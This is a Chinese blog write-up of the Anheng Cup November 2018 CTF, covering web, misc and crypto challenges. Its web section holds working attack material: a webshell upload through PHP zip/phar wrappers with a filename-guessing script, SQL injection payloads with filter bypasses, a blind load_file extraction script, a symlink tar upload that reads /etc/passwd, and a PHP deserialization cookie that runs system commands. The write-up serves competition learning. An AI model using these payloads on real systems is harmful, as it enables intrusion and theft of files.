美文网首页CTF
安恒杯2018年11月月赛WriteUp

安恒杯2018年11月月赛WriteUp

作者: Eumenides_62ac | 来源:发表于2018-11-29 16:45 被阅读196次

Web

image_up

看到http://101.71.29.5:10007/index.php?page=login后,尝试用伪协议读login源码:

?page=php://filter/convert.base64-encode/resource=login
<?php
  if(isset($_POST['username'])&&isset($_POST['password'])){
    header("Location: index.php?page=upload");
    exit();
  }
?>

没啥东西,去读upload源码:

<?php
    $error = "";
    $exts = array("jpg","png","gif","jpeg");
    if(!empty($_FILES["image"]))
    {
        $temp = explode(".", $_FILES["image"]["name"]);
        $extension = end($temp);
        if((@$_upfileS["image"]["size"] < 102400))
        {
            if(in_array($extension,$exts)){
              $path = "uploads/".md5($temp[0].time()).".".$extension;
              move_uploaded_file($_FILES["image"]["tmp_name"], $path);
              $error = "ä¸�ä¼ æ��å��!";
            }
        else{
            $error = "ä¸�ä¼ å¤±è´¥ï¼�";
        }

        }else{
          $error = "æ��件è¿�大ï¼�ä¸�ä¼ å¤±è´¥ï¼�";
        }
    }

这里要通过phar://伪协议来getshell。
把写入一句话木马的shell.jpg压缩成shell.zip,再把shell.zip重命名为shell.jpg。上传上去即可。

文件上传名会被重命名为md5($temp[0].time())后的名字。$temp[0]time()可控。于是构造脚本去猜解:

import time
import requests
import hashlib


def md5(str1):
    m = hashlib.md5()
    m.update(str1.encode())
    return m.hexdigest()


url = "http://101.71.29.5:10007/"
files = {
    "image":("shell.jpg",open("shell.jpg","rb"))
}
print(files)
t = int(time.time())
requests.post(url=(url+"upload.php"),files=files)
for i in range(t-20,t+20):
    path = "uploads/"+md5("shell"+str(i))+".jpg"
    status = requests.get(url=url+path).status_code
    print(status)
    if status == 200:
        print(path)
        break

计算得到文件名,然后通过伪协议来读文件:

/index.php?page=zip://./uploads/6bff3b7c5c6fd2280dbd1b4d283e067b.jpg%23shell
post:cmd=phpinfo();

找一下就有flag。

好黑的黑名单


访问show.php?id=1,猜测id可能存在sql注入。
这里过滤了空格,用%0a来绕过,要用between and来代替逻辑操作符。单引号也被过滤,可以用16进制来绕过。构造payload:
?id=2%0aand%0a(select%0a(select%0adatabase())%0abetween%0a0x61%0aand%0a0x7a)

具体python脚本略。

interesting web

注册要填写ip,填写自己云主机的ip


注册登录后看到:

猜测要拿到admin的权限。
尝试找回密码。

找到cookie里的session值:eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPVFl6WTJaaE5HTmtNekJsTmpGbE9UVmxNR1V5TW1ReU56RTFORGs1WlRnPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.Dt-qLg.jQhdDITh-UPM8E4DJRJISskZ9tw
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPVFl6WTJaaE5HTmtNekJsTmpGbE9UVmxNR1V5TW1ReU56RTFORGs1WlRnPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0这段base64解密后可得:
{"login":true,"token":{" b":"OTYzY2ZhNGNkMzBlNjFlOTVlMGUyMmQyNzE1NDk5ZTg="},"username":"admin"}

里面的OTYzY2ZhNGNkMzBlNjFlOTVlMGUyMmQyNzE1NDk5ZTg=base64,解码后的963cfa4cd30e61e95e0e22d2715499e8就是token值。


成功修改了admin账户后登录。
先在自己的linux系统上创建个软连接文件:
$ ln -s /etc/passwd hack.jpg
$ cat hack.jpg

看到是可以读文件的。然后生成tar包。
$ tar -czvf hack.tar hack.jpg

上传:



访问/download/hack.jpg

另存为打开就可以看到flag。

ez sql

注册登录后,查看用户信息可以看到:


url变成了user.php?id=97。猜测可能存在sql注入。
这里要用sql读文件来注入绕过,payload:
user.php?id=1-(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870) like 0x3c25)
# 正常页面信息丢失

最后写脚本:

import requests
import string
import binascii


to_hex = lambda s : binascii.hexlify(s) # 把字符串都转换成16进制编码
char = '0123456789ABCDEF'
filename = '/var/www/html/index.php'
c = ''
url = 'http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(0x%s))like(0x%s),1,2)'

for _ in range(10000):
    for i in char:
        payload = c + i + '%'
        _url = url % (to_hex(filename),to_hex(payload))
        res = requests.get(_url,cookies={'PHPSESSID':'ep0qqe8899uorseum9oq7lvb11'})
        if b'2018' in res.content:
            print '....' + payload
            c = c + i
            break

可以读到index.phpwaf.phpconfig/config.phpconfig/sys_config.php
最主要是index.php里这段:

<?php 
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
    $config = $_COOKIE['CONFIG'];
    require_once('config/config.php');
}
?>

可以看到$config传递了COOKIE里的CONFIG参数。
看到config.php里的$config = unserialize(base64_decode($config));,可以看到是PHP反序列化注入漏洞,并且可以通过call_user_func执行命令。
构造:

<?php
    $f = new Config();
    $f->filter=array('system');
    echo base64_encode(serialize($f));
?>
/index.php
cookie:CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

可以看到waf.php里过滤了空格和/,构造$IFSexpr绕过。
最终payload:

/index.php?p=cat$IFS..`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`flag2333`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`flag.php
cookie:CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

Misc

Numeric Password


百度110个数字密码,按照密码表对照得到content = [72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,21,27,20,25,27,21,72,26,20,18,20,70,70,67,70,23,20,95]
这个又经过移位加密,数字范围在18~95,而ascii可见字段在33~126,则移位的范围为20~32,最后编写脚本可得:
content = [72,78,67,73,93,67,25,20,69,20,20,70,69,68,67,70,24,21,27,20,25,27,21,72,26,20,18,20,70,70,67,70,23,20,95]

enc = ''
for j in range(20,32):
    for i in content:
        enc += chr(i+j)
    print(enc)
    enc = ''

得到flag

Crypto

仿射密码

利用在线解密网站:https://www.wishingstarmoye.com/ctf/affinecipher
b=7,a=11即可得到flag。

简单的密码学2

CBC字节反转攻击。

参考链接

安恒杯 11月赛 WP

相关文章

网友评论

    本文标题:安恒杯2018年11月月赛WriteUp

    本文链接:https://www.haomeiwen.com/subject/mikpqqtx.html